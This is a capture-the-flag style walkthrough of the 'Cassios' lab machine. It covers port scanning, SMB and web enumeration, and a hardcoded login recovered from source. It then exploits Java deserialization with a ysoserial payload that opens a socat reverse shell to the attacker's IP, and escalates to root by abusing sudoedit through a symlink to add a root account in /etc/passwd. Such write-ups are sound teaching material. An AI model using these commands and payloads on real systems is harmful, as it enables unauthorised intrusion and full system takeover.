Cassios Walkthrough¶
Summary¶
Cassios is a relatively straightforward box. It involves web enumeration and then exploiting java deserialization to obtain a reverse shell. Privesc to root involved exploiting a sudo ability that is uniquely exploitable for the sudo version installed on the box.
Port Scanning¶
We start off by running an nmap scan against all ports.
┌──(kali㉿kali)-[~/Documents/ProvingGrounds/Cassios]
└─$ sudo nmap -p- 192.168.181.116 -oN nmap/ping_tcp
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 20:33 EDT
Nmap scan report for 192.168.181.116
Host is up (0.047s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 33.57 seconds
We run another nmap scan. This time we only target the open ports. We also use the flags -sV and -sC to enumerate service versions and other information by using nmap scripts.
┌──(kali㉿kali)-[~/Documents/ProvingGrounds/Cassios/nmap]
└─$ sudo nmap -p22,80,139,445,8080 -sV -sC 192.168.181.116 -oN script_tcp
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 20:35 EDT
Nmap scan report for 192.168.181.116
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 36:cd:06:f8:11:72:6b:29:d8:d8:86:99:00:6b:1d:3a (RSA)
| 256 7d:12:27:de:dd:4e:8e:88:48:ef:e3:e0:b2:13:42:a1 (ECDSA)
|_ 256 c4:db:d3:61:af:85:95:0e:59:77:c5:9e:07:0b:2f:74 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: Landed by HTML5 UP
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: DENY
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Wed, 15 Sep 2021 00:35:37 GMT
| Connection: close
| <!doctype html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title></title>
| <link rel="stylesheet" href="/css/main.css">
| </head>
| <body>
| <div class="small-container">
| <div class="flex-row">
| <h1>Recycler Management System</h1>
| </div>
| <div class="flex-row">
| <img src="/images/factory.jpg" class="round-button">
| </div>
| </div>
| <br>
| <div class="small-container">
| <div class="flex-small">Control system for the factory
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: DENY
| Content-Length: 0
| Date: Wed, 15 Sep 2021 00:35:37 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Wed, 15 Sep 2021 00:35:37 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
|_http-trane-info: Problem with XML parsing of /evox/about
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=9/14%Time=61413FD8%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,429,"HTTP/1\.1\x20200\x20\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-XSS-Protection:\x201;\x20mode=block\r\nCache-Control:\x20no-cach
SF:e,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPragma:\x20no-cache
SF:\r\nExpires:\x200\r\nX-Frame-Options:\x20DENY\r\nContent-Type:\x20text/
SF:html;charset=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Wed,\x2015
SF:\x20Sep\x202021\x2000:35:37\x20GMT\r\nConnection:\x20close\r\n\r\n<!doc
SF:type\x20html>\n<html\x20lang=\"en\">\n\n<head>\n\x20\x20<meta\x20charse
SF:t=\"utf-8\">\n\x20\x20<meta\x20http-equiv=\"x-ua-compatible\"\x20conten
SF:t=\"ie=edge\">\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=d
SF:evice-width,\x20initial-scale=1\">\n\n\x20\x20<title></title>\n\n\x20\x
SF:20<link\x20rel=\"stylesheet\"\x20href=\"/css/main\.css\">\n\x20\x20\n</
SF:head>\n\n<body>\n\t\n\t<div\x20class=\"small-container\">\n\t\t<div\x20
SF:class=\"flex-row\">\n\t\t\t<h1>Recycler\x20Management\x20System</h1>\n\
SF:t\t</div>\n\t\t<div\x20class=\"flex-row\">\n\t\t\t<img\x20src=\"/images
SF:/factory\.jpg\"\x20class=\"round-button\">\n\t\t</div>\x20\n\n\t</div>\
SF:n\t<br>\n\t<div\x20class=\"small-container\">\n\n\t\t\t<div\x20class=\"
SF:flex-small\">Control\x20system\x20for\x20the\x20factory\x20")%r(HTTPOpt
SF:ions,12B,"HTTP/1\.1\x20200\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nX-XSS-Protection:\x201;\x20mode=block\r\
SF:nCache-Control:\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalid
SF:ate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nX-Frame-Options:\x20DENY
SF:\r\nContent-Length:\x200\r\nDate:\x20Wed,\x2015\x20Sep\x202021\x2000:35
SF::37\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\
SF:.1\x20400\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-La
SF:nguage:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Wed,\x2015\x20Sep\x
SF:202021\x2000:35:37\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20h
SF:tml><html\x20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80
SF:\x93\x20Bad\x20Request</title><style\x20type=\"text/css\">body\x20{font
SF:-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:w
SF:hite;background-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{fo
SF:nt-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20
SF:a\x20{color:black;}\x20\.line\x20{height:1px;background-color:#525D76;b
SF:order:none;}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\
SF:x93\x20Bad\x20Request</h1></body></html>");
Service Info: Host: CASSIOS
Host script results:
|_clock-skew: mean: 1h20m01s, deviation: 2h18m35s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.10.4)
| Computer name: cassios
| NetBIOS computer name: CASSIOS\x00
| Domain name: \x00
| FQDN: cassios
|_ System time: 2021-09-14T20:35:46-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-15T00:35:44
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.50 seconds
Information Gathering¶
We start off by taking a look at smb. By using smbmap we are able to quickly see what shares exist and what permissions we have on those shares, while using an anonymous login.
┌──(kali㉿kali)-[~/…/ProvingGrounds/Cassios/exfiltrated/SMB]
└─$ smbmap -H 192.168.231.116
[+] IP: 192.168.231.116:445 Name: 192.168.231.116
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Samantha Konstan READ, WRITE Backups and Recycler files
IPC$ NO ACCESS IPC Service (Samba 4.10.4)
It appears we have both read and write access to the share "Samantha Konstan". I use smbmap to recursively download all the contents of this share.
┌──(kali㉿kali)-[~/…/ProvingGrounds/Cassios/exfiltrated/SMB]
└─$ smbmap -H 192.168.181.116 -R -A .
[+] IP: 192.168.181.116:445 Name: 192.168.181.116
[+] Starting search for files matching '.' on share Samantha Konstan.
[+] Match found! Downloading: Samantha Konstan\recycler.ser
[+] Match found! Downloading: Samantha Konstan\readme.txt
[+] Match found! Downloading: Samantha Konstan\resources.html
[+] Match found! Downloading: Samantha Konstan\pom-bak.xml
[+] Match found! Downloading: Samantha Konstan\spring-mvc-quickstart-archetype\README.md
[+] Match found! Downloading: Samantha Konstan\spring-mvc-quickstart-archetype\archetype-catalog.xml
[+] Match found! Downloading: Samantha Konstan\spring-mvc-quickstart-archetype\pom.xml
[+] Match found! Downloading: Samantha Konstan\spring-mvc-quickstart-archetype\src\main\resources\archetype-resources\.gitignore
[+] Match found! Downloading: Samantha Konstan\spring-mvc-quickstart-archetype\src\main\resources\archetype-resources\pom.xml
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\BUILD.txt
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\CONTRIBUTING.markdown
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\LICENSE.txt
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\NOTICE.txt
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\README.md
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\pom.xml
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\src\assembly\sources.xml
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\src\main\resources\application.properties
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\src\main\resources\logback.xml
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\src\main\resources\persistence.properties
[+] Match found! Downloading: Samantha Konstan\thymeleafexamples-layouts\src\main\webapp\WEB-INF\web.xml
I take a look through the share to see if I can find anything interesting. One thing I always like to do is recursively search for the phrase "pass" and "password". This search turns up nothing.
┌──(kali㉿kali)-[~/…/ProvingGrounds/Cassios/exfiltrated/SMB]
└─$ grep -irn pass
192.168.181.116-Samantha Konstan_spring-mvc-quickstart-archetype_README.md:139:dataSource.password=postgres
192.168.181.116-Samantha Konstan_thymeleafexamples-layouts_src_main_resources_persistence.properties:4:dataSource.password=
192.168.181.116-Samantha Konstan_resources.html:359:returns file system locations for a passed-in empty string (indicating
I do find a readme.txt file which looks interesting. We will want to take note of this and remember it for later.
┌──(kali㉿kali)-[~/…/ProvingGrounds/Cassios/exfiltrated/SMB]
└─$ cat 192.168.181.116-Samantha\ Konstan_readme.txt
The recycler is a critical piece of our industrial infraestructure.
Please be careful with it!
The .ser file holds all the last data saved from the process, it can
be readed from the upper management dashboard app.
Remember to set the location of the file to my home directory "~/backups".
Set this directory to share access so the remote system can access the
file via SMB.
Any concerns or suggestions, please reach at samantha@loca.host.
Samantha Konstan
Java Mantainer
Now I move to port 80.
I start off with a gobuster search on port 80 to see which directories exist. I first ran this scan with directory-list-2.3-medium.txt but that list missed the directory /backup_migrate.
┌──(kali㉿kali)-[~/Documents/ProvingGrounds/Cassios]
└─$ cat 192.168.181.116-raft | grep -v 403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.181.116/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/09/14 15:30:09 Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 238] [--> http://192.168.181.116/assets/]
/. (Status: 200) [Size: 9088]
/images (Status: 301) [Size: 238] [--> http://192.168.181.116/images/]
/download (Status: 200) [Size: 1479862]
/backup_migrate (Status: 301) [Size: 246] [--> http://192.168.181.116/backup_migrate/]
===============================================================
2021/09/14 15:30:36 Finished
===============================================================
I visit the /download directory and it turns out to be a download link for the file "download". This file turns out to be a zip file. Upon unzipping this file and looking through the contents nothing interesting stands out.
──(kali㉿kali)-[~/Documents/ProvingGrounds/Cassios/exfiltrated]
└─$ file download
download: Zip archive data, at least v2.0 to extract
The backup_migrate web directory reveals a file to download named "recycler.tar". I download this file extract the contents using "tar -xvf recycler.tar". Recursively searching the extracted files reveals the password "DoNotMessWithTheRecycler123". At this point I look through the file that contains the password and it also reveals the username "recycler" to go along with it.
┌──(kali㉿kali)-[~/…/ProvingGrounds/Cassios/exfiltrated/src]
└─$ grep -irn password
main/java/com/industrial/recycler/WebSecurityConfig.java:35: User.withDefaultPasswordEncoder()
main/java/com/industrial/recycler/WebSecurityConfig.java:37: .password("DoNotMessWithTheRecycler123")
main/resources/templates/login.html:23: Invalid username and password.
main/resources/templates/login.html:32: <label for="name">Password:</label>
main/resources/templates/login.html:33: <input type="password" name="password" id="password" placeholder="Ask to your supervisor">
main/resources/static/css/main.css:871:[type=color], [type=date], [type=datetime], [type=datetime-local], [type=email], [type=month], [type=number], [type=password], [type=search], [type=tel], [type=text], [type=url], [type=week], [type=time], select, textarea {
main/resources/static/css/main.css:885:[type=color]:hover, [type=date]:hover, [type=datetime]:hover, [type=datetime-local]:hover, [type=email]:hover, [type=month]:hover, [type=number]:hover, [type=password]:hover, [type=search]:hover, [type=tel]:hover, [type=text]:hover, [type=url]:hover, [type=week]:hover, [type=time]:hover, select:hover, textarea:hover {
main/resources/static/css/main.css:889:[type=color]:focus, [type=color]:active, [type=date]:focus, [type=date]:active, [type=datetime]:focus, [type=datetime]:active, [type=datetime-local]:focus, [type=datetime-local]:active, [type=email]:focus, [type=email]:active, [type=month]:focus, [type=month]:active, [type=number]:focus, [type=number]:active, [type=password]:focus, [type=password]:active, [type=search]:focus, [type=search]:active, [type=tel]:focus, [type=tel]:active, [type=text]:focus, [type=text]:active, [type=url]:focus, [type=url]:active, [type=week]:focus, [type=week]:active, [type=time]:focus, [type=time]:active, select:focus, select:active, textarea:focus, textarea:active {
User.withDefaultPasswordEncoder()
.username("recycler")
.password("DoNotMessWithTheRecycler123")
.roles("USER")
.build();
Now we take a look at port 8080
On the main page we see a link for the dashboard. On that next page we see a login screen. This looks like where we would use the credentials that we found. We login successfully with username: recycler and password: DoNotMessWithTheRecycler123. After logging in we are presented with this page.
Shell - Samantha¶
- At this point we would refer back to the readme.txt we found in the SMB share. There are a some key things to take away from the readme.
- The dashboard app being referred to is likely the dashboard we are seeing on :8080/dashboard.
- The .ser file holds all the last data saved from the process
- Data saved in the dashboard app will be saved to a .ser file.
- The .ser file can be read by the dashboard app.
- The .ser file will be saved to the SMB share.
- The directory of the SMB share is ~/backups. Samantha is writing this, so this is likely /home/samantha/backups.
With this knowledge in mind, we click "Save Current Values". Then we go to Samantha's SMB share find a newly generate .ser file called recycler.ser. When we click on "Check Status" we notice that the values remain the on the dashboard app. This suggests we are able to create the .ser file by clicking "Save" and we are able to read the recycler.ser file from the SMB share using the Dashboard web app. If we are able to modify the recycler.ser file then we might have remote code execution by having the dashboard app read the recycler.ser file. According to our smbmap results from earlier we already know we have ready and write access to this SMB share.
In order to modify recycler.ser to gain a reverse shell, we need to know what kind of file we are working with. We will do this using the "file" command.
┌──(kali㉿kali)-[~/Documents/ProvingGrounds/Cassios]
└─$ file recycler.ser
recycler.ser: Java serialization data, version 5
It appears to be a Java serialization file. Which would lead to me to believe we are looking at a Java deserialization reverse shell. We will use ysoserial to create the malicious recycler.ser file. Go to https://github.com/frohoff/ysoserial and scroll down the the Installation section where you will find a download link for ysoserial-master-SNAPSHOT.jar. This is the file we will use.
Before we can use ysoserial to generate the malicious file, we need to know exactly which type of payload to generate. We need to gather more information which is located in the SMB. The file pom-bak.xml contains the line
I tried a bunch of different methods to achieve a reverse shell. This particular machine turns out to have socat on it. So using socat was the easiest method of obtaining a reverse shell.
Generating the malicious recycler.ser file.
┌──(kali㉿kali)-[~/Documents/ProvingGrounds/Cassios]
└─$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "socat tcp-connect:192.168.49.231:80 exec:/bin/sh,pty,stderr,setsid,sigint,sane" > recycler.ser
Setting up my socat listener on port 80
┌──(kali㉿kali)-[~/…/ProvingGrounds/Cassio/exfiltrated/SMB]
└─$ socat file:`tty`,raw,echo=0 tcp-listen:80
Now we need to upload our malicious recycler.ser to the SMB share. Then go to the dashboard app. Click on "Check Status" to read the recycler.ser file from the SMB share. We should have a reverse shell now.
┌──(kali㉿kali)-[~/…/ProvingGrounds/Cassios/exfiltrated/SMB]
└─$ socat file:`tty`,raw,echo=0 tcp-listen:80
sh-4.2$ id
uid=1000(samantha) gid=1000(samantha) groups=1000(samantha)
sh-4.2$ python -c "import pty;pty.spawn('/bin/bash');"
[samantha@cassios /]$ export TERM=xterm
The first thing I do is check sudo -l. I find out that I have a sudo ability as Samantha. I was not able to find a way to exploit this so I end up running linpeas.sh. After running linpeas I find that the sudo version is 1.8.14. Searchsploit turns up an exploit for this sudo version which directly relates to the sudo ability we have as Samantha on this machine.
[samantha@cassios /]$ sudo -l
Matching Defaults entries for samantha on cassios:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="QTDIR
KDEDIR"
User samantha may run the following commands on cassios:
(root) NOPASSWD: sudoedit /home/*/*/recycler.ser
Searchsploit results for sudo version 1.8.14
┌──(kali㉿kali)-[~/Documents/ProvingGrounds/Cassios]
└─$ searchsploit sudo 1.8.14
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation | linux/local/37710.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
The exploit says that if we create a symbolic link file to the location of where our sudo ability "sudoedit" points to then we can get sudo rights to edit any file we choose. I choose to edit /etc/passwd so I can add another root user.
Privesc - Root¶
Creating symbolic link file
[samantha@cassios backups]$ pwd
/home/samantha/backups
[samantha@cassios backups]$ ln -s /etc/passwd recycler.ser
Running sudo command to edit /etc/passwd
Towards the bottom of /etc/passwd I add the line "root2:S3g6q5KuTzNkU:0:0:root:/root:/bin/bash". This creates a new root user named root2 with the password set to be "root". Save the file. Now we can use "su root2" and login with the password "root" and we have a root shell.